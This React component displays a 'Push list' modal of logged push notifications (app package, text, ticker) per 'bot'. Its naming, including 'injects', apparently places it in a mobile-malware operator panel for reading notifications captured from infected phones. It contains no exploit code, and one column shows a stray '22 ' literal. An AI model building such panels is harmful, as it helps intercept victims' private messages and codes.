import React, {useEffect} from "react";
import {ModalsProps} from "../../../Model/Modal";
import {Button, Modal, Table} from "antd";
import {RedoOutlined} from "@ant-design/icons";
import {useSelector} from "react-redux";
import {AppState} from "../../../Store/RootReducer";
import {getLogsList} from "../../../Store/Logs/Actions";
import {Bot} from "../../../Model/Bot";
import {BotLogTemplated} from "../../../Model/BotLog";
import {useAppDispatch} from "../../../Hook/useAppDispatch";

interface PushLog {
    text: string,
    package: string,
    ticker: string,
    notification: string,
}

interface PushListProps extends ModalsProps {
    bot: Bot,
}

const PushList: React.FC<PushListProps> = (props: PushListProps) => {
    const dispatch = useAppDispatch();
    const logsReducer = useSelector((state: AppState) => state.logs);

    useEffect(() => {
        if (props.visible) {
            dispatch(getLogsList("pushlist", props.bot.id, null, logsReducer.filters, logsReducer.sort, logsReducer.page, logsReducer.per_page));
        }
    }, [dispatch, props.bot.id, props.visible, logsReducer.filters, logsReducer.sort, logsReducer.page, logsReducer.per_page]);

    const closeModal = () => {
        props.setVisible(false);
    };

    const refreshPushList = () => {
        dispatch(getLogsList("pushlist", props.bot.id, null, logsReducer.filters, logsReducer.sort, logsReducer.page, logsReducer.per_page));
    };

    const data = logsReducer.logs ? (logsReducer.logs as unknown as BotLogTemplated<PushLog>[]) : [];

    const columns = [
        {
            title: "ID",
            dataIndex: "id",
            key: "id",
            width: 50,
        },
        {
            title: "Package",
            dataIndex: "package",
            key: "package",
            render: (text: string, log: BotLogTemplated<PushLog>) => (
                <div className="table-col">
                    <div className="table-col-item">
                        <b>Package</b>
                    </div>
                    <div className="table-col-item">
                        {log.log.package ?? "-"}
                    </div>
                </div>
            ),
        },
        {
            title: "Text",
            dataIndex: "text",
            key: "text",
            render: (text: string, log: BotLogTemplated<PushLog>) => (
                <div className="table-col">
                    <div className="table-col-item">
                        <b>Text</b>
                    </div>
                    <div className="table-col-item">
                        22 {log.log.text ?? "-"}
                    </div>
                </div>
            ),
        },
        {
            title: "Notification",
            dataIndex: "notification",
            key: "notification",
            render: (text: string, log: BotLogTemplated<PushLog>) => (
                <div className="table-col">
                    <div className="table-col-item">
                        <b>Notification</b>
                    </div>
                    <div className="table-col-item">
                        {log.log.notification ?? "-"}
                    </div>
                </div>
            ),
        },
        {
            title: "Ticker",
            dataIndex: "ticker",
            key: "ticker",
            render: (text: string, log: BotLogTemplated<PushLog>) => (
                <div className="table-col">
                    <div className="table-col-item">
                        <b>Ticker</b>
                    </div>
                    <div className="table-col-item">
                        {log.log.ticker ?? "-"}
                    </div>
                </div>
            ),
        },
    ];

    const isLoaded = logsReducer.isLoaded && logsReducer.type === "pushlist" && logsReducer.botId === props.bot.id;

    return (
        <Modal
            title="Push list"
            open={props.visible}
            onCancel={closeModal}
            width={900}
            className="modal-injects"
            destroyOnClose
            footer={[
                <>
                    <Button
                        type="primary"
                        onClick={refreshPushList}
                        icon={<RedoOutlined />}
                    >
                        Refresh push list
                    </Button>
                    <Button
                        type="primary"
                        onClick={closeModal}
                        danger
                    >
                        Close
                    </Button>
                </>,
            ]}
        >
            <div className="table-scroll" style={{maxHeight: 250, overflowY: "auto"}}>
                <Table
                    columns={columns}
                    dataSource={isLoaded ? data : []}
                    size="small"
                    pagination={false}
                    sticky={true}
                    loading={!isLoaded}
                    rowKey={() => "id"}
                />
            </div>
        </Modal>
    );
};

export default PushList;
